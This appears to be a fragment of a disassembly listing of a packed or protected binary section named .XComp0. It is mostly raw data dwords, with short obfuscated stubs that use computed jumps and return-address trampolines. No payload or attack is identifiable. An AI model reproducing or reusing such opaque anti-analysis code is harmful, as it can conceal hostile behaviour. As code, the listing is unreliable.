939419F2h, 33D7DE25h, 48D08EDCh dd 0E2DD91BDh, 9E890CF9h, 0F105CC41h, 2FF5B01Ch, 0C5F54Dh dd 0F1480000h, 95D21762h, 47E79429h, 8931CEF1h, 0AC659E4Ch dd 887F6B8Ah, 7F846651h, 4771766Fh, 248F85BCh, 0D607C3E9h dd 455F1960h, 0E8115C6Fh, 183ECDEFh, 304E8CFh, 0C649A592h dd 5C8A7DCFh, 50996A50h, 32FCEADDh, 68F326C5h, 2995F115h dd 595C9592h, 16976C4Eh, 89688E43h, 847BA661h, 0C061B35Ch dd 9388BEDh, 0CDF842D4h, 94931AEDh, 31D7DE27h, 0E6E20408h dd 0AC1180FFh, 976F7B8Ah, 4D2F2835h, 0E29BB881h, 58299607h dd 73309677h, 7F47E3h, 1D9A0000h, 58AF1BC0h, 4F301C91h dd 0F4B05A75h, 59DF6FBAh, 7C8731CEh, 26AF1BDAh, 38A3FC4h dd 97725966h, 44B34316h, 9B7D7099h, 66866674h, 0CEA57BA1h dd 20772846h, 8F4A4BBCh, 0E06A23Dh, 2AE509E8h, 4B0E06A3h dd 0F18CC7FEh, 6E2995ADh, 0EB185BB1h, 0DFC7A037h, 0BE738EF9h dd 5EC1B598h, 0C1662996h, 639A144Bh, 0D78404C8h, 299604A6h dd 8BAB6623h, 0C4986E7Ch, 814D2FDCh, 1, 0FC46CE63h, 0C0BD59CBh dd 46748393h, 6BA65D8Bh, 0AD607D6Ah, 0D2EEA074h, 46EA2EDBh dd 8D3037B0h, 353B1A5Fh, 0ABF91D9h, 0CE37A483h, 9ECC43C7h dd 87D33AC0h, 7BA343A5h, 2A33243Ah, 0AA9E468Bh, 20BB43Ch dd 0D7BA12C7h, 0D60B618h, 0EB26E708h, 0AC13EE4Bh, 40FCA43h dd 2995BD79h, 62E509F6h, 2F8EDECCh, 582132DFh, 0D5239C9Bh dd 0BECE128h, 10F92BE2h, 1CF1CEE9h, 9C9B7EFFh, 0E80EFB23h dd 0D6F7E409h, 0F247F237h, 9C9B1861h, 46E89523h, 9B81F69Dh dd 0CEFB239Ch, 0DB1B637h, 0D61BECD0h, 4C9A6DDFh, 0C8714692h dd 9C9BF28Bh, 45B26F23h, 0B87164A7h, 717B6796h, 99AA44Ch dd 0C9562734h, 0D6D3239Ch, 51F0D9FEh, 5C816498h, 827D3CB1h dd 0DDA0BB58h, 5A239CC0h, 0B87164ADh, 0A7765796h, 9CC1116Ch dd 58918E23h, 0B21ABF55h, 0BE55C628h, 85749A00h, 0A36A5359h dd 0E598C37Eh, 9D239CC0h, 9CC0FB7Eh, 1B8B7823h, 0C09CDD7Eh dd 6C19239Ch, 5AA791A5h, 48D69886h, 2043Fh, 1C370200h dd 239CB461h, 270D21DEh, 97AC46CEh, 45976BA9h, 0F723B5B1h dd 215CF742h, 9E299597h, 641AF5C4h, 5D943BAAh, 0ABDF7CB9h dd 0E2F8F47h, 0AAB94FF4h, 0E72270A8h, 314C0732h, 0AE239D40h dd 0A3845DF1h, 0C631D33Ah, 0D73DE429h, 18E8C84Fh, 38E31EA2h dd 239CB245h, 0B831C5C2h, 0DAFF0EAFh, 0F2D7FCDDh, 2D7DE13h dd 8661F3ECh, 706B5458h, 0D173BE4Fh, 6CBF6468h, 0B949B15Ah dd 21FC7095h, 8DB948D6h, 84000000h, 6B9842BDh, 9CFDADD0h dd 0C47D2A23h, 9CFDE697h, 90A66323h, 4565FFAAh, 96856316h dd 0EE23E029h, 85352833h, 35F2A996h, 721C080Ch, 6E2A15B5h dd 7460AFC5h, 0F1FEAE2h, 0F24C2DD6h, 2057A995h, 0B137AD32h dd 79040F0Ah, 0F6A995F2h, 1CCDC009h, 6EEF2CD5h, 662995F2h dd 0A9776F59h, 0E64956B1h, 4D5D811h, 0D63B3EDDh, 0CBB82995h dd 37A4D32Bh, 38E103CEh, 0D6275201h, 0F7A42995h, 0FB9657h dd 0F1E30000h, 49E01143h, 3B01157Ah, 0DEFF69FFh, 0CD3FFA2Fh dd 4E030668h, 93A0B644h, 8F24FE88h, 85BC692Fh, 497D918Fh dd 0B46568A3h, 0C52A9960h, 0EAFB831h, 0C243A80Fh, 7CFD1ECBh dd 34239D2Bh, 9D2B5627h, 0F0D6D323h, 0D143FE33h, 329B0DB3h dd 0ADFFDADBh, 3BDBABF5h, 3B9F1801h, 22CB2ACCh, 1B59EAEBh dd 0BC239CADh, 59AF1103h, 6448C727h, 0D363D8DBh, 6F882634h dd 5B9ABC4Bh, 86816972h, 37A1994Bh, 24C936EBh, 0F81F5AF9h dd 0DF9C239Ch, 60F6A32Ah, 24A448D3h, 817E299Ah, 7029AC57h dd 0B06916DEh, 0DC77A647h, 1D9FCBA1h, 25A8611Eh, 1E09E274h dd 2A954CC1h, 634449C6h, 52078E75h, 0EC6E7797h, 550C7D4Fh dd 0B9CE4307h, 0E7786695h, 49F02971h, 9D1A63F0h, 0EA971D9Fh dd 0B73ED1EDh, 0EFF94CE2h, 0C9239CC9h, 709AE370h, 6A1717A2h dd 9B3D2CC4h, 7F78A168h, 0AF89AD5Ch, 3169FF91h, 4B083108h dd 29968532h, 1861F2AFh, 95299685h, 9116E6CBh, 5A8F7C79h dd 4AC277B4h, 4CB0E1C5h, 69DC72ABh, 2F92C87Fh, 977C5E59h dd 9870017Ch, 48817E23h, 0C22B9445h, 2453AB4Bh, 91484DB6h dd 40945558h, 9F49BD23h, 9A349064h, 1CEFCDCAh, 0BF2EC099h dd 0E81BBD1Eh, 0B93CCBEFh, 1CF029E0h, 46325B97h, 80BA5CE3h dd 6C957855h, 789E6553h, 3BF9E46Fh, 84258064h, 2BDB9EBDh dd 0AB58C6CBh, 7E6E7C8Bh, 8F78AC61h, 4647C828h, 4B748393h dd 0FFECCBC2h, 2A05EBD4h, 0C145B9ABh, 5A0F864Bh, 0AF191E8Fh dd 78566154h, 0A3822293h, 0F114B5B7h, 5EE42DFCh, 24C9A3AFh dd 3BF615B7h, 35972009h, 0E40ADFD6h, 0FC25E805h, 0BE2FD603h dd 0D7A24BEBh, 7188F122h, 1805C6CBh, 3F5F6h, 0F4B0000h dd 0AC658C39h, 6CA13E29h, 0AA5F7E69h, 719A4423h, 0B84F7B7Ch dd 7D8A3235h, 0BB4A6F78h, 788B2D3Ah, 0C14E7275h, 8C681BCCh dd 89000040h, 8956241Ch, 4C681E6h, 83000000h, 348704EEh dd 2C895C24h, 184A6824h, 4890000h, 60C36824h, 34890000h dd 22F8BE24h, 8EBD4C65h, 2952624Fh, 8B545EF5h, 0C4812404h dd 4, 2BBA5253h, 0BB169A58h, 169A5823h, 15AD331h, 5B2B89C3h dd 582434FFh, 4C481h, 34FF0000h, 0C4815D24h, 4, 0FC4A31E9h dd 6E82DEFFh, 1D056BB2h db 0E0h, 0AFh ; --------------------------------------------------------------------------- loc_5AEAD2: ; CODE XREF: .XComp0:loc_5AE27Ej mov eax, 5FD346Dh add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 39h dd 0B062A270h, 396818F4h, 0B04C5470h, 3903EEF4h, 0B0441670h dd 396FF4F4h, 0B05E6870h, 3919AAF4h, 0B073CA70h, 393A90F4h dd 0B040BC70h, 393826F4h, 0B005BE70h, 3903ECF4h, 0B0275070h dd 397B62F4h, 0B04DF270h, 394808F4h, 0B0062470h, 393F5EF4h dd 0B0606670h, 3942E4F4h, 0B0113870h, 39201AF4h, 0B0111A70h dd 397080F4h, 0B03C8C70h, 397996F4h, 0B0740E70h, 390CDCF4h dd 8B3C2070h, 57006AC1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 69DFF329h, 4214F187h, 311DBD8Bh dd 0BD3105F9h, 5F917D1h, 4EBh, 0BF660000h, 0B58B21A5h dd 5F91821h, 0DC1858Dh, 6A05F9h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 14FCC1C3h, 0D258D89h dd 0E4BE05F9h, 907EFBDDh, 90F28B50h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0A0C35242h, 526818B5h, 15B58B3Bh dd 6A05F90Ch, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 91EEB546h, 66A5FC80h, 6AF38Bh, 0B55B58Bh dd 858D05F9h, 5FD3727h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 0FDC35040h, 6E7DA442h, 0C0836CDBh, 0DDB58B05h dd 8105F926h, 0CCAC1FDFh, 0F18B9044h, 840F50h, 90000000h dd 0BFFFBF0Fh, 0C5618DAh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 0D8FBDFC3h, 0DDB52908h dd 6A05F910h, 40D68100h, 0FF5D50E5h, 0F913ED95h, 4D852905h dd 8D05F91Eh, 0FCE9839Dh, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0A81E9B98h dd 60261303h, 61F9C18Bh, 1EE1BD8Bh, 0D3FF05F9h, 0C68B60F5h dd 97F18166h, 85FF61C9h, 5F9197Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0D4C35747h, 57B0D7A9h, 442F54B3h dd 0F0BF0FADh, 891E9h, 0E800h, 815D0000h, 0FD3731EDh, 0C9B58905h dd 8105F917h, 0F90715BDh, 7D005h, 0E3860F00h, 8B000000h dd 0F90CB99Dh, 68D0F05h, 81000000h, 35B579C6h, 0E3813Dh dd 89000001h, 0F907598Dh, 0FDB0B05h, 5285h, 41BD2900h dd 8905F900h, 0F905E985h, 9DBD8305h, 5FD35h, 24840Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 28E9D0C3h, 66000000h, 85C7FB8Bh, 5FD359Dh, 1, 14E9F08Bh dd 66000000h, 0C785C2BEh, 0FD359D85h, 5, 7DB58900h, 8D05F906h dd 0F90CB99Dh, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 8D954A39h, 0F30996FBh dd 2381F93Fh, 0FFFFFEFFh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 81C35040h, 0BD2323DEh, 5F925C1h, 741B58Bh dd 8C6605F9h, 51006ADBh, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 94272987h, 0EE6416BAh, 0C3F62912h dd 0AF840F04h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 89EDC353h, 0F9090D85h dd 9195FF05h, 6A05F913h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0A9F1C355h, 31B89C8Ah dd 0F932ED85h, 13E89005h, 0DC000000h, 32A81717h, 0F1A05727h dd 0DBBCC7DFh, 450B3DCAh, 13E9DF45h, 20000000h, 1EB8FD6Ch dd 0BA275FAFh, 0A4F41CA7h, 0B42FC4FFh, 505E5556h, 7E9h dd 80508700h, 64434405h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 84F43CD3h, 40E9276Bh dd 6A000004h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 0B07DC356h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 4003671Fh dd 91D65B17h, 0B70F4ED8h, 6A70E6F0h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 4AA4C355h dd 0D8053C92h, 6A71E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 0FB55A8C3h, 0E2A2DE9Eh, 0B52B8365h dd 5F926B1h, 6AD8B60Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 2260C353h, 0A3833975h dd 9D890B7Eh, 5F91E59h, 6BAh, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 43542769h dd 3F053DF4h, 0C38B8CC9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 0E7C35545h, 830F166Fh, 17h, 12E9h, 664B1100h dd 0F983054h, 86792734h, 4AF1C575h, 0C18C385Dh, 0F76604E8h dd 14E9E2h, 394E0000h, 0E712D436h, 11415ECDh, 9E0F02E7h dd 20CBC0Ah, 0D82BA5F6h, 8B525093h, 66310FFBh, 5AAF98BEh dd 830F5058h, 1Eh, 11E95250h, 14000000h, 0C21AF25Fh, 6BDCB239h dd 0D3C5DF3Fh, 0EA5EF4CEh, 5E57310Fh, 0F93585Ah, 0B5FFFFBFh dd 5F90715h, 0ED95FFF9h, 6A05F91Ah, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0E48CC352h dd 0B01892EEh, 0F1B70F00h, 0E6F18B66h, 0D9952970h, 0E405F90Ah dd 57006A71h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 0B2F4022Ah, 3C58B9C9h, 58830F61h, 6A000002h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 6642C351h, 0F9DDFAFDh, 0B58BF22Dh, 5F9182Dh dd 984CBF66h, 6AD8B60Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 0CCFBC350h, 38D0Fh dd 8B660000h, 0EDBD89F0h, 0BA05F925h, 6, 2EB59589h, 0C38B05F9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1CC35747h dd 7025E0F3h, 0CE8A8EAh, 2C000000h, 0D549C922h, 38C01C33h dd 0B091599h, 0F90399B5h, 0E8C15F05h, 50006A04h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 666E82DEh, 10E8E2F7h, 0B6000000h, 2E1CE195h, 591FA9CCh dd 0F418E1F9h, 89222AB0h, 0F933018Dh, 0D82B5E05h, 5158FB8Bh dd 2755BD8Bh, 2B5F05F9h, 60880FD8h, 6A000001h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 6B1CC353h, 0F4AA85FFh, 8DE819Ah, 5051687Fh, 2DBDB58Bh dd 0B95F05F9h, 7, 8CD8D89h, 816605F9h, 834875DEh, 6A00C1h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 891484C3h, 0F92CD9B5h, 8D236005h, 5F9317Dh, 0F37EF181h dd 3B617261h, 0E4860FD9h, 89000000h, 0F9257595h, 0D98C6605h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 1CC35040h dd 0E80E25BEh, 81977CCBh, 0F83B1C6h, 4C1F63Ch, 0A4840Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 0A1A39CC3h, 834A1739h, 0FF3F132Ah, 0F9139195h dd 85BD8B05h, 8905F92Eh, 0F90DBD9Dh, 6A5B05h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 9B33DAC3h dd 25CD8C6Bh, 0BEE4BDDBh, 5FF8A811h, 24A9BD23h, 0C32B05F9h dd 19A5BD2Bh, 343D05F9h, 0F000008h, 2986h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0E30F1DBAh, 0AE9h, 0FA0ABF00h, 0C08B63A1h, 8BFBBF0Fh dd 0FD88BC3h, 68Fh, 25EF8100h, 0C71AC0FAh, 0F91E7985h dd 3D837905h, 55006A57h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 44E34262h, 75BD8B91h, 8B05F925h dd 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 0E19C0929h, 0BD815F57h, 5F90715h, 7D0h dd 41850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 0CCFB33C3h, 2F099531h, 85FF05F9h dd 5F90715h, 0BE8h, 0F6781600h, 25E66C73h, 417ADE66h, 0BFB3C781h dd 0FF5E3488h, 0F90715B5h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 8166E7E5h dd 0FF2CA9CEh, 0F91AED95h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 353668CCh dd 12E9h, 6EE83B00h, 0F5E5ED98h, 3C07BC33h, 80B9E1A8h dd 9065C314h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 0ECC35747h, 60FA8B32h, 1E49BD89h, 0C28005F9h, 0EBCE81FCh dd 61795D44h, 2AF18D89h, 0FE8B05F9h, 8BF18B66h, 0F90E15B5h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 6ACE96A6h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 0D0C2C353h, 0CE9A2E4h dd 8000000h, 0D5FAC594h, 0F178A726h, 8B720987h, 0F92BD1BDh dd 0FB8B6605h, 6AF18B66h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 1016C357h, 68DAE5Eh dd 53006A13h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 0F65FF8B3h, 6E93DD8h, 0AC000000h, 73291B37h dd 8D958989h, 6605F907h, 9D01F38Bh, 5F90C79h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0ABC35242h, 60F28B66h dd 140DBD09h, 958B05F9h, 5F932DDh, 0F793E961h, 6AFFFFh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 4D1A3C3h, 0F27D6044h, 0C18B2AE0h, 4EBh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 4AD4EEC3h, 4AB20722h, 1F4D8D89h, 0B58B05F9h, 5F92279h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 45C35141h dd 858D67CAh, 5F90DC1h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0FAC35646h, 44483605h, 0B6BA3464h, 66509066h dd 3190F18Bh, 0F920CD95h, 8B006A05h, 0F90049B5h, 0F7816605h dd 6A9F6Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 7EC35545h, 79C79277h, 0F2928E6h, 585h, 0E6816600h dd 858D6530h, 5FD4150h, 9D896056h, 5F90489h, 59BCB866h dd 0C0835E61h, 55B58B05h, 9005F910h, 90FE8B50h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 2C35141h, 0E3BC2FFCh dd 4AA6E01Eh, 0B2CBF681h, 6A1551h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 9BC35242h, 41C9AA38h, 6A8D4Ah dd 21058D89h, 95FF05F9h, 5F913EDh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 99C35141h, 6659E2CEh, 9D8DF78Bh dd 5FCE983h, 2E79BD8Bh, 0D3FF05F9h, 0FFFA8B66h, 0F9197D85h dd 0EE905h, 9D680000h, 0FE88F876h, 0E7C01150h, 0B287548Bh dd 884E9FCh, 0E80000h, 5D000000h, 415AED81h, 6A05FDh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0BD8111C3h, 5F90715h, 7D0h, 0E8860Fh, 0BE660000h, 9D8B2257h dd 5F90FA1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 0D7C35040h, 0E381FCh, 6A000001h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 896EC356h dd 0F917D9B5h, 0FDB0B05h, 5385h, 49B52900h, 8305F935h dd 0FD3FC1BDh, 840F0005h, 23h, 45E9h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0C7AFF272h, 0FD3FC185h, 105h, 8D8B6000h, 5F9311Dh, 6ACB8166h dd 0BE961F6h, 0F8000000h, 3FC185C7h, 5FDh, 9D8D0000h, 5F90FA1h dd 8FA1BF66h, 0FEFF2381h, 6AFFFFh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 255752C3h, 2ACD9D89h dd 8C6605F9h, 0FFB70FDBh, 0F04C3F6h, 7884h, 55B52B00h dd 0FF05F911h, 0F9139195h, 11E86005h, 0CF000000h, 0FEBAACAEh dd 0CD804892h, 0C065C51h, 49C127CCh, 0CE9h, 6FE2FC00h dd 0DDB5FFDBh, 0B8B469DAh, 11E95ACFh, 88000000h, 9D666292h dd 5EED33D4h, 94C217E1h, 28ADF5D7h, 0CCBF9061h, 5030E21Eh dd 6E9h, 8B6B7800h, 90BB66A8h, 13820Fh, 0E9600000h, 0Ch dd 0B36144B3h, 9FA3F2BEh, 0A64BD1E0h, 4B9E961h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0E8C734C3h, 8, 0E71FD7EEh, 31BB9530h, 8E9h, 0B0877200h dd 33D792A7h, 0B05F06h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 71C35141h, 0F8CBB28Eh, 8E9h, 9F51B00h dd 0A22EDA90h, 6A70E6D2h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 8E55C351h, 2874B18Eh dd 0BE6674B7h, 0AE91BE8h, 8000000h, 0CEEB4732h, 1C1EA7DCh dd 8171E4DDh, 555AE4CFh, 0D8B60F70h, 1A81BD8Bh, 6BA05F9h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 6020C352h, 2E0DB1B9h, 0C9B58BD3h dd 8B05F903h, 18A0FC3h, 0FC000000h, 6A04E8C1h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 22DC353h, 0F3C8B28Dh, 6E8B24Ch, 4B000000h, 1CE195B6h dd 0A9BD2B2Eh, 5E05F934h, 6AE2F766h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0D317C353h dd 0C68166C0h, 8F0FBF5Ah, 3, 0F5FB8B66h, 6AD82Bh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 81B910C3h, 431F5343h, 938B24D1h, 0EE9h, 7F03F400h, 34396C1Ch dd 0DDDC2C39h, 5038083Bh, 48F0Fh, 50520000h, 66935E5Fh dd 0B5FFFB8Bh, 5F90715h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 0A0C35343h, 1B58BF9h, 0FF05F907h, 0F91AED95h dd 0FABF0F05h, 21A9BD01h, 0B005F9h, 0C2EE8166h, 5FFC57B4h dd 12E870E6h, 96000000h, 0E102796Bh, 626F293h, 22395226h dd 0CD429C54h, 6E98Bh, 40650000h, 0C32A9319h, 3C71E45Fh dd 0B0830F61h, 1000002h, 0F931558Dh, 0D8B60F05h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0D4C35545h, 16E0EE02h dd 0BAF90F42h, 6, 75BD8B52h, 5E05F917h, 6AC38Bh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 296A71C3h, 0F916F985h, 4E8C105h, 5E9h, 0E4738E00h, 0F766E927h dd 9BBE66E2h, 8BD82B92h, 0F91811B5h, 0C6816605h, 6A588F31h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 0B83DC356h, 0BD8B6060h, 5F91ECDh, 12699D29h dd 0E86105F9h, 0Bh, 8EFD5262h, 7841E7E6h, 0E836ED7Bh, 5 dd 0ED165585h, 615F5FE3h, 880FD82Bh, 1DFh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 6AC35747h, 0F0BF0F10h dd 7B9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 0A5BF7397h, 0B5BD8B52h, 5F05F925h dd 14E8h, 0DC4E3800h, 24765127h, 0F66F47F6h, 2F40ABA8h dd 0AB4DED30h, 10E9F7h, 45F40000h, 6ADF1E28h, 0B867BE4Eh dd 9FAA3E88h, 835E1DA1h, 6A00C1h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0B1B73BC3h, 12E9h, 436E5500h dd 4A65B316h, 7AE5D049h, 0AB380206h, 3BA43070h, 24860FD9h dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 7E61C353h, 0DC358639h, 6AD98C66h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 668AC357h, 0C1F6F88Bh, 0B2840F04h, 50000000h dd 318D8B60h, 8B05F933h, 0F91AE59Dh, 0FF5E6105h, 0F9139195h dd 5BF28B05h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 77C35040h, 3A957964h, 0B70F9AFFh, 6AC32BF0h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 0E974C351h, 0Eh, 745243CAh, 0D68543B3h, 55F9F58Bh, 343DBE12h dd 0F000008h, 3886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 0D5B58BFFh, 0F05F912h dd 582h, 8274BF00h, 2CE95634h, 89000000h, 0F90A61B5h, 6AC08B05h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 445EC351h, 0BA5400A2h, 8BF28BD6h, 89D88BC3h dd 0F90DDDB5h, 0B985C705h, 5905F90Ch, 6A50BB9Dh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 107C353h, 3299BF77h, 724ED64Eh, 0B58B6060h, 5F932D1h dd 8161CB8Bh, 41336CBh, 0B58B611Eh, 5F93149h, 13E9C08Bh dd 1F000000h, 0C1142E74h, 0ABEB52B8h, 0BA4C5BA5h, 0CA17B91Eh dd 0BD81C351h, 5F90715h, 7D0h, 42850Fh, 0CF810000h, 4E0D08C3h dd 71585FFh, 6A05F9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0B3D5C9C3h, 0CE8h, 2B94300h, 1108AAA1h dd 3B5CD4E8h, 0C98D0969h, 5E05F904h, 715B5FFh, 11E805F9h dd 0E2000000h, 177FC4CFh, 748EDB40h, 0BDF2E84Fh, 9AB52A75h dd 199589h, 0FF5F05F9h, 0F91AED95h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 35E70A6Bh dd 7B9E0E03h, 8B66D39Bh, 0FE8B90F8h, 3301B529h, 6A05F9h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 586916C3h, 0E0978807h, 6A0D5459h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 2914C357h dd 0F932F5BDh, 6830F05h, 8B000000h, 0F91F5DBDh, 168A0F05h dd 33000000h, 0F907FDBDh, 61606005h, 29B5858Bh, 858905F9h dd 5F92511h, 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 13E9FC91h, 0EB000000h, 0F1635387h dd 456AE418h, 0D1503E8Eh, 7631F31Bh, 0BD8934C4h, 5F92B4Dh dd 1FCD8589h, 0B53305F9h, 5F90C4Dh, 169B503h, 6A05F9h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 5CF9AAC3h, 5740C2Eh, 13E8h, 0B2F9B800h, 0BF6409Ch, 9D0DE604h dd 90BE6149h, 79425039h, 2AF1B533h, 0E95F05F9h, 0FFFFF782h dd 2089BD89h, 0C18B05F9h, 1665BD03h, 4EB05F9h, 0 ; --------------------------------------------------------------------------- xor si, 205Ch push 0 push ebx call sub_5AFFE4 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AFFE4 proc near ; CODE XREF: .XComp0:005AFFDCp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5AFFE4 endp ; --------------------------------------------------------------------------- dd 0CF96D910h, 2BF9AA8h, 8D290677h, 5F90CBDh, 2949B589h dd 858D05F9h, 5F90DC1h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 24C35040h, 43AB19A8h, 0B58BA37Dh, 5F90385h dd 0BF665790h, 505F0313h, 90FB8B66h, 6919589h, 6A05F9h dd 246D9501h, 6A05F9h, 16599D89h, 858D05F9h, 5FD4B1Dh dd 6A05C083h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 92FBC353h, 5C930BC3h, 0A5B529h dd 509005F9h, 0ADB52B90h, 6A05F905h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 6DE194C4h dd 947FBE83h, 6A1405h, 2E39BD8Bh, 95FF05F9h, 5F913EDh dd 18198D29h, 0F08B05F9h, 0E9839D8Dh, 6A05FCh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 71688DC3h, 0BD89B725h, 5F92661h, 